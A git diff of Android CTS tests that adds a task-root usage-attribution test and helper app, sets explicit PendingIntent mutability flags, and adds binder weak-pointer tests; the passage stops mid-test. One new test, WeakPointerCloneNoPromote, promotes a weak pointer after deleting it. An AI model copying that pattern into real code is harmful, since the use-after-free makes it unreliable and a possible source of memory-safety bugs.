diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index 90dada9..a981be7 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -38,7 +38,7 @@
protected AnnotationChecker createChecker(ResultObserver resultObserver,
ClassProvider provider) {
return new AnnotationChecker(resultObserver, provider,
- "@android.signature.cts.tests.data.ApiAnnotation()");
+ "@android.signature.cts.tests.data.ApiAnnotation()", null);
}
private static void addConstructor(JDiffClassDescription clz, String... paramTypes) {
diff --git a/tests/tests/app.usage/Android.bp b/tests/tests/app.usage/Android.bp
index 3d0635b..28d7bcf 100644
--- a/tests/tests/app.usage/Android.bp
+++ b/tests/tests/app.usage/Android.bp
@@ -28,7 +28,7 @@
"android.test.base",
"android.test.runner",
],
- srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl"],
+ srcs: ["src/**/*.java", "TestApp1/**/*.java", "TestApp1/**/*.aidl", "TestApp2/**/*.java"],
// Tag this module as a cts test artifact
test_suites: [
"cts",
diff --git a/tests/tests/app.usage/AndroidTest.xml b/tests/tests/app.usage/AndroidTest.xml
index 7585059..26b799d 100644
--- a/tests/tests/app.usage/AndroidTest.xml
+++ b/tests/tests/app.usage/AndroidTest.xml
@@ -25,6 +25,7 @@
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsUsageStatsTestCases.apk" />
<option name="test-file-name" value="CtsUsageStatsTestApp1.apk" />
+ <option name="test-file-name" value="CtsUsageStatsTestApp2.apk" />
</target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.app.usage.cts" />
diff --git a/tests/tests/app.usage/TestApp2/Android.bp b/tests/tests/app.usage/TestApp2/Android.bp
new file mode 100644
index 0000000..6cfdb68
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/Android.bp
@@ -0,0 +1,39 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsUsageStatsTestApp2",
+ defaults: ["cts_defaults"],
+ platform_apis: true,
+ static_libs: [
+ "androidx.test.rules",
+ "compatibility-device-util-axt",
+ "ctstestrunner-axt",
+ "cts-wm-util",
+ "junit",
+ "ub-uiautomator",
+ ],
+ libs: [
+ "android.test.base",
+ "android.test.runner",
+ ],
+ srcs: ["src/**/*.java", "aidl/**/*.aidl"],
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "general-tests",
+ "mts"
+ ],
+ sdk_version: "test_current"
+}
diff --git a/tests/tests/app.usage/TestApp2/AndroidManifest.xml b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
new file mode 100644
index 0000000..49a50fc
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/AndroidManifest.xml
@@ -0,0 +1,26 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.app.usage.cts.test2">
+
+ <application>
+ <activity android:name=".FinishingTaskRootActivity"
+ android:exported="true"
+ />
+ </application>
+</manifest>
diff --git a/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
new file mode 100644
index 0000000..bea621c
--- /dev/null
+++ b/tests/tests/app.usage/TestApp2/src/android/app/usage/cts/test2/FinishingTaskRootActivity.java
@@ -0,0 +1,54 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy
+ * of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations
+ * under the License.
+ */
+package android.app.usage.cts.test2;
+
+import androidx.annotation.Nullable;
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.Until;
+import android.view.WindowManager;
+
+import androidx.test.InstrumentationRegistry;
+
+/**
+ * A test activity that starts another activity within the same task and then finishes itself.
+ */
+public class FinishingTaskRootActivity extends Activity {
+ public static final String TEST_APP_PKG = "android.app.usage.cts.test1";
+ public static final String TEST_APP_CLASS = "android.app.usage.cts.test1.SomeActivity";
+ private UiDevice mUiDevice;
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
+ }
+
+ @Override
+ protected void onResume() {
+ super.onResume();
+ startActivity(new Intent().setClassName(TEST_APP_PKG, TEST_APP_CLASS));
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ finish();
+ }
+}
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
index 5bd7dc1..58c254c 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/TestService.java
@@ -40,7 +40,7 @@
new Intent(this, Activities.ActivityOne.class)
.setAction(Intent.ACTION_MAIN)
.addCategory(Intent.CATEGORY_LAUNCHER)
- .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), 0))
+ .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK), PendingIntent.FLAG_MUTABLE_UNAUDITED))
.setOngoing(true)
.build();
startForeground(1, status);
diff --git a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
index 92e351a..aa25160 100644
--- a/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
+++ b/tests/tests/app.usage/src/android/app/usage/cts/UsageStatsTest.java
@@ -33,7 +33,6 @@
import android.app.NotificationChannel;
import android.app.NotificationManager;
import android.app.PendingIntent;
-import android.app.usage.cts.ITestReceiver;
import android.app.usage.EventStats;
import android.app.usage.UsageEvents;
import android.app.usage.UsageEvents.Event;
@@ -117,6 +116,9 @@
= "android.app.usage.cts.test1.SomeActivityWithLocus";
private static final String TEST_APP_CLASS_SERVICE
= "android.app.usage.cts.test1.TestService";
+ private static final String TEST_APP2_PKG = "android.app.usage.cts.test2";
+ private static final String TEST_APP2_CLASS_FINISHING_TASK_ROOT =
+ "android.app.usage.cts.test2.FinishingTaskRootActivity";
private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
private static final long MINUTE = TimeUnit.MINUTES.toMillis(1);
@@ -575,7 +577,7 @@
.setContentTitle("My notification")
.setContentText("Hello World!");
final PendingIntent pi = PendingIntent.getActivity(mContext, 1,
- new Intent(Settings.ACTION_SETTINGS), 0);
+ new Intent(Settings.ACTION_SETTINGS), PendingIntent.FLAG_IMMUTABLE);
mBuilder.setContentIntent(pi);
mNotificationManager.notify(1, mBuilder.build());
Thread.sleep(500);
@@ -1285,14 +1287,36 @@
setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_CURRENT_ACTIVITY));
launchSubActivity(TaskRootActivity.class);
// Usage should be attributed to the test app package
- assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true);
+ assertAppOrTokenUsed(TaskRootActivity.TEST_APP_PKG, true, TIMEOUT);
SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
launchSubActivity(TaskRootActivity.class);
// Usage should be attributed to this package
- assertAppOrTokenUsed(mTargetPackage, true);
+ assertAppOrTokenUsed(mTargetPackage, true, TIMEOUT);
+ }
+
+ @AppModeFull(reason = "No usage events access in instant apps")
+ @Test
+ public void testTaskRootAttribution_finishingTaskRoot() throws Exception {
+ setUsageSourceSetting(Integer.toString(UsageStatsManager.USAGE_SOURCE_TASK_ROOT_ACTIVITY));
+ mUiDevice.wakeUp();
+ dismissKeyguard(); // also want to start out with the keyguard dismissed.
+
+ launchTestActivity(TEST_APP2_PKG, TEST_APP2_CLASS_FINISHING_TASK_ROOT);
+ // Wait until the nested activity gets started
+ mUiDevice.wait(Until.hasObject(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+ // Usage should be attributed to the task root app package
+ assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+ assertAppOrTokenUsed(TEST_APP2_PKG, true, TIMEOUT);
+ SystemUtil.runWithShellPermissionIdentity(() -> mAm.forceStopPackage(TEST_APP_PKG));
+ mUiDevice.wait(Until.gone(By.clazz(TEST_APP_PKG, TEST_APP_CLASS)), TIMEOUT);
+
+ // Usage should no longer be tracked
+ assertAppOrTokenUsed(TEST_APP_PKG, false, TIMEOUT);
+ assertAppOrTokenUsed(TEST_APP2_PKG, false, TIMEOUT);
}
@AppModeInstant
@@ -1445,20 +1469,21 @@
/**
* Assert on an app or token's usage state.
+ *
* @param entity name of the app or token
* @param expected expected usage state, true for in use, false for not in use
*/
- private void assertAppOrTokenUsed(String entity, boolean expected) throws IOException {
- final String activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
- final String[] actives = activeUsages.split("\n");
- boolean found = false;
+ private void assertAppOrTokenUsed(String entity, boolean expected, long timeout)
+ throws IOException {
+ final long realtimeTimeout = SystemClock.elapsedRealtime() + timeout;
+ String activeUsages;
+ boolean found;
+ do {
+ activeUsages = executeShellCmd("dumpsys usagestats apptimelimit actives");
+ final String[] actives = activeUsages.split("\n");
+ found = Arrays.asList(actives).contains(entity);
+ } while (found != expected && SystemClock.elapsedRealtime() <= realtimeTimeout);
- for (String active : actives) {
- if (active.equals(entity)) {
- found = true;
- break;
- }
- }
if (expected) {
assertTrue(entity + " not found in list of active activities and tokens\n"
+ activeUsages, found);
diff --git a/tests/tests/app/src/android/app/cts/RemoteActionTest.java b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
index 2f71ed4..e1c1ba2 100644
--- a/tests/tests/app/src/android/app/cts/RemoteActionTest.java
+++ b/tests/tests/app/src/android/app/cts/RemoteActionTest.java
@@ -40,7 +40,7 @@
String title = "title";
String description = "description";
PendingIntent action = PendingIntent.getBroadcast(
- InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+ InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
RemoteAction reference = new RemoteAction(icon, title, description, action);
reference.setEnabled(false);
reference.setShouldShowIcon(false);
@@ -64,7 +64,7 @@
String title = "title";
String description = "description";
PendingIntent action = PendingIntent.getBroadcast(
- InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), 0);
+ InstrumentationRegistry.getTargetContext(), 0, new Intent("TESTACTION"), PendingIntent.FLAG_MUTABLE_UNAUDITED);
RemoteAction reference = new RemoteAction(icon, title, description, action);
reference.setEnabled(false);
reference.setShouldShowIcon(false);
diff --git a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
index cfd12a2..2123757 100644
--- a/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
+++ b/tests/tests/appenumeration/src/android/appenumeration/cts/AppEnumerationTests.java
@@ -588,7 +588,7 @@
new Intent("android.appenumeration.cts.action.SEND_RESULT").setComponent(
new ComponentName(targetPackageName,
"android.appenumeration.cts.query.TestActivity")),
- PendingIntent.FLAG_ONE_SHOT);
+ PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_IMMUTABLE);
Bundle response = sendCommandBlocking(sourcePackageName, targetPackageName,
pendingIntent /*queryIntent*/, Constants.ACTION_START_SENDER_FOR_RESULT);
diff --git a/tests/tests/appop/AppToBlame1/AndroidManifest.xml b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
index a8d3638..900c95b 100644
--- a/tests/tests/appop/AppToBlame1/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame1/AndroidManifest.xml
@@ -19,12 +19,13 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.appops.cts.apptoblame"
android:version="1">
+ <uses-sdk android:targetSdkVersion="28" />
<attribution android:tag="attribution1" android:label="@string/dummyLabel" />
<attribution android:tag="attribution2" android:label="@string/dummyLabel" />
<attribution android:tag="attribution3" android:label="@string/dummyLabel" />
<attribution android:tag="attribution4" android:label="@string/dummyLabel" />
<attribution android:tag="attribution5" android:label="@string/dummyLabel" />
- <application />
+ <application android:debuggable="true"/>
</manifest>
diff --git a/tests/tests/appop/AppToBlame2/AndroidManifest.xml b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
index ba13fd6..af58d8d 100644
--- a/tests/tests/appop/AppToBlame2/AndroidManifest.xml
+++ b/tests/tests/appop/AppToBlame2/AndroidManifest.xml
@@ -19,6 +19,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.app.appops.cts.apptoblame"
android:version="2">
+ <uses-sdk android:targetSdkVersion="29"/>
<attribution android:tag="attribution1" android:label="@string/dummyLabel" />
<attribution android:tag="attribution6" android:label="@string/dummyLabel">
<inherit-from android:tag="attribution2" />
diff --git a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
index 44e4c05..2a77470 100644
--- a/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
+++ b/tests/tests/appop/appopsTestUtilLib/src/android/app/appops/cts/AppOpsUtils.kt
@@ -178,13 +178,15 @@
}
/**
- * Run a block with a compat change disabled
+ * Run a block with a compat change enabled
*/
-fun withDisabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
- runCommand("am compat disable $changeId $packageName")
+fun withEnabledCompatChange(changeId: Long, packageName: String, wrapped: () -> Unit) {
+ runCommand("settings put global force_non_debuggable_final_build_for_compat 1")
+ runCommand("am compat enable $changeId $packageName")
try {
wrapped()
} finally {
runCommand("am compat reset $changeId $packageName")
+ runCommand("settings put global force_non_debuggable_final_build_for_compat 0")
}
}
\ No newline at end of file
diff --git a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
index 33ccf9a..8aba608 100644
--- a/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
+++ b/tests/tests/appop/src/android/app/appops/cts/AttributionTest.kt
@@ -108,14 +108,14 @@
@Test(expected = SecurityException::class)
fun cannotUseUndeclaredAttributionTag() {
- noteForAttribution("invalid attribution tag")
+ withEnabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
+ noteForAttribution("invalid attribution tag")
+ }
}
@Test
fun canUseUndeclaredAttributionTagIfChangeForBlameeIsDisabled() {
- withDisabledCompatChange(SECURITY_EXCEPTION_ON_INVALID_ATTRIBUTION_TAG_CHANGE, APP_PKG) {
- noteForAttribution("invalid attribution tag")
- }
+ noteForAttribution("invalid attribution tag")
}
@Test(expected = AssertionError::class)
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
index f255454..97df491 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/RequestPinAppWidgetTest.java
@@ -70,7 +70,7 @@
extras.putString("dummy", launcherPkg + "-dummy");
PendingIntent pinResult = PendingIntent.getBroadcast(context, 0,
- new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT);
+ new Intent(ACTION_PIN_RESULT), PendingIntent.FLAG_ONE_SHOT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
AppWidgetManager.getInstance(context).requestPinAppWidget(
getFirstWidgetComponent(), extras, pinResult);
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
index a01241f..4cf3f8f 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/WidgetTransitionTest.java
@@ -143,7 +143,7 @@
// Push update
RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
PendingIntent.getBroadcast(mActivity, 0,
- new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT)));
+ new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
// Await until update
@@ -165,7 +165,7 @@
RemoteViews views = getViewsForResponse(RemoteViews.RemoteResponse.fromPendingIntent(
PendingIntent.getActivity(mActivity, 0,
new Intent(mActivity, TransitionActivity.class),
- PendingIntent.FLAG_UPDATE_CURRENT)));
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED)));
getAppWidgetManager().updateAppWidget(new int[] {mAppWidgetId}, views);
// Await until update
@@ -229,7 +229,7 @@
views.setViewVisibility(R.id.remoteViews_stack, View.GONE);
views.setViewVisibility(R.id.remoteViews_list, View.VISIBLE);
PendingIntent pendingIntent = PendingIntent.getBroadcast(mActivity, 0,
- new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT);
+ new Intent(CLICK_ACTION), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
views.setPendingIntentTemplate(R.id.remoteViews_list, pendingIntent);
// Await until update
diff --git a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
index b1b21b7..f0c6e5a 100644
--- a/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
+++ b/tests/tests/appwidget/src/android/appwidget/cts/provider/CollectionAppWidgetProvider.java
@@ -107,7 +107,7 @@
// to create unique before on an item to item basis.
Intent viewIntent = new Intent(BROADCAST_ACTION);
PendingIntent pendingIntent = PendingIntent.getBroadcast(context, 0, viewIntent,
- PendingIntent.FLAG_UPDATE_CURRENT);
+ PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
widgetAdapterView.setPendingIntentTemplate(R.id.remoteViews_stack, pendingIntent);
diff --git a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
index eab84ad..d5c2ff9 100644
--- a/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
+++ b/tests/tests/batterysaving/apps/app_target_api_current/src/android/os/cts/batterysaving/app/CommReceiver.java
@@ -98,7 +98,7 @@
final boolean allowWhileIdle = req.getAllowWhileIdle();
final PendingIntent alarmSender = PendingIntent.getBroadcast(context, 1,
- new Intent(req.getIntentAction()), 0);
+ new Intent(req.getIntentAction()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
Log.d(TAG, "Setting alarm: type=" + type + ", triggerTime=" + triggerTime
+ ", interval=" + interval + ", allowWhileIdle=" + allowWhileIdle);
diff --git a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
index 960b034..2b35684 100644
--- a/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
+++ b/tests/tests/batterysaving/src/android/os/cts/batterysaving/BatterySaverTest.java
@@ -94,7 +94,9 @@
}
@Test
- public void testSetBatterySaver_powerManager() {
+ public void testSetBatterySaver_powerManager() throws Exception {
+ enableBatterySaver(false);
+
runWithShellPermissionIdentity(() -> {
PowerManager manager = BatteryUtils.getPowerManager();
assertFalse(manager.isPowerSaveMode());
@@ -137,8 +139,11 @@
enableBatterySaver(true);
assertTrue(powerManager.isPowerSaveMode());
- assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
- powerManager.getLocationPowerSaveMode());
+ // Updating based on the settings change may take some time.
+ waitUntil("Location mode didn't change to "
+ + PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
+ () -> PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF ==
+ powerManager.getLocationPowerSaveMode());
// UI change can take a while to propagate, so need to wait for this check.
waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
() -> Configuration.UI_MODE_NIGHT_YES ==
@@ -155,6 +160,7 @@
() -> Configuration.UI_MODE_NIGHT_NO ==
(getContext().getResources().getConfiguration().uiMode
& Configuration.UI_MODE_NIGHT_MASK));
+ // Check location mode after we know battery saver changes have propagated fully.
final int locationPowerSaveMode = powerManager.getLocationPowerSaveMode();
assertTrue("Location power save mode didn't change from " + locationPowerSaveMode,
locationPowerSaveMode == PowerManager.LOCATION_MODE_FOREGROUND_ONLY
@@ -170,6 +176,7 @@
() -> Configuration.UI_MODE_NIGHT_YES ==
(getContext().getResources().getConfiguration().uiMode
& Configuration.UI_MODE_NIGHT_MASK));
+ // Check location mode after we know battery saver changes have propagated fully.
assertEquals(PowerManager.LOCATION_MODE_ALL_DISABLED_WHEN_SCREEN_OFF,
powerManager.getLocationPowerSaveMode());
} finally {
@@ -192,8 +199,11 @@
"location_mode=" + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF
+ ",enable_night_mode=true");
assertTrue(powerManager.isPowerSaveMode());
- assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
- powerManager.getLocationPowerSaveMode());
+ // Updating based on the settings change may take some time.
+ waitUntil("Location mode didn't change to "
+ + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+ () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+ powerManager.getLocationPowerSaveMode());
// UI change can take a while to propagate, so need to wait for this check.
waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
() -> Configuration.UI_MODE_NIGHT_YES ==
@@ -212,8 +222,11 @@
mDeviceConfigStateHelper.set("enable_night_mode", "true");
assertTrue(powerManager.isPowerSaveMode());
- assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
- powerManager.getLocationPowerSaveMode());
+ // Updating based on DeviceConfig change may take some time.
+ waitUntil("Location mode didn't change to "
+ + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+ () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+ powerManager.getLocationPowerSaveMode());
// UI change can take a while to propagate, so need to wait for this check.
waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
() -> Configuration.UI_MODE_NIGHT_YES ==
@@ -232,8 +245,11 @@
mDeviceConfigStateHelper.set("enable_night_mode", "true");
assertTrue(powerManager.isPowerSaveMode());
- assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
- powerManager.getLocationPowerSaveMode());
+ // Updating constants may take some time.
+ waitUntil("Location mode didn't change to "
+ + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+ () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+ powerManager.getLocationPowerSaveMode());
// UI change can take a while to propagate, so need to wait for this check.
waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
() -> Configuration.UI_MODE_NIGHT_YES ==
@@ -247,16 +263,20 @@
() -> Configuration.UI_MODE_NIGHT_NO ==
(getContext().getResources().getConfiguration().uiMode
& Configuration.UI_MODE_NIGHT_MASK));
- final int locationPowerSaveMode = powerManager.getLocationPowerSaveMode();
- assertEquals("Location power save mode didn't change from " + locationPowerSaveMode,
- PowerManager.LOCATION_MODE_FOREGROUND_ONLY, locationPowerSaveMode);
+ // Updating constants may take some time.
+ waitUntil("Location mode didn't change to " + PowerManager.LOCATION_MODE_FOREGROUND_ONLY,
+ () -> PowerManager.LOCATION_MODE_FOREGROUND_ONLY ==
+ powerManager.getLocationPowerSaveMode());
SettingsUtils.delete(SettingsUtils.NAMESPACE_GLOBAL, "battery_saver_constants");
waitUntil("UI mode didn't change to " + Configuration.UI_MODE_NIGHT_YES,
() -> Configuration.UI_MODE_NIGHT_YES ==
(getContext().getResources().getConfiguration().uiMode
& Configuration.UI_MODE_NIGHT_MASK));
- assertEquals(PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
- powerManager.getLocationPowerSaveMode());
+ // Updating constants may take some time.
+ waitUntil("Location mode didn't change to "
+ + PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF,
+ () -> PowerManager.LOCATION_MODE_THROTTLE_REQUESTS_WHEN_SCREEN_OFF ==
+ powerManager.getLocationPowerSaveMode());
}
}
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
index ae7e435..6222518 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/itest_impl.h
@@ -456,7 +456,8 @@
const ::aidl::test_package::ExtendableParcelable& in_input,
::aidl::test_package::ExtendableParcelable* out_output) {
RepeatExtendableParcelableWithoutExtension(in_input, out_output);
- std::unique_ptr<MyExt> ext = in_input.ext.getParcelable<MyExt>();
+ std::optional<MyExt> ext;
+ in_input.ext.getParcelable(&ext);
MyExt ext2;
ext2.a = ext->a;
ext2.b = ext->b;
diff --git a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
index fab478e..65862b1 100644
--- a/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
+++ b/tests/tests/binder_ndk/libbinder_ndk_test/test_ibinder.cpp
@@ -139,6 +139,92 @@
AIBinder* promoted = AIBinder_Weak_promote(weak);
EXPECT_EQ(nullptr, promoted);
+
+ AIBinder_Weak_delete(weak);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerClonePromotes) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+ AIBinder_Weak_delete(weak);
+
+ AIBinder* promoted = AIBinder_Weak_promote(copy);
+ EXPECT_EQ(binder, promoted);
+
+ AIBinder_Weak_delete(copy);
+ AIBinder_decStrong(promoted);
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerCloneNoPromote) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak = AIBinder_Weak_new(binder);
+ AIBinder_Weak* copy = AIBinder_Weak_clone(weak);
+ AIBinder_Weak_delete(weak);
+
+ AIBinder_decStrong(binder);
+
+ AIBinder* promoted = AIBinder_Weak_promote(weak);
+ EXPECT_EQ(nullptr, promoted);
+
+ AIBinder_Weak_delete(copy);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderEqual) {
+ AIBinder* binder = SampleData::newBinder();
+
+ EXPECT_FALSE(AIBinder_lt(binder, binder));
+
+ AIBinder_decStrong(binder);
+}
+
+TEST_F(NdkBinderTest_AIBinder, BinderNotEqual) {
+ AIBinder* b1 = SampleData::newBinder();
+ AIBinder* b2 = SampleData::newBinder();
+
+ EXPECT_NE(AIBinder_lt(b1, b2), AIBinder_lt(b2, b1));
+
+ AIBinder_decStrong(b2);
+ AIBinder_decStrong(b1);
+}
+
+TEST_F(NdkBinderTest_AIBinder, WeakPointerEqual) {
+ AIBinder* binder = SampleData::newBinder();
+ AIBinder_Weak* weak1 = AIBinder_Weak_new(binder);
+ AIBinder_Weak* weak2 = AIBinder_Weak_new(binder);
+
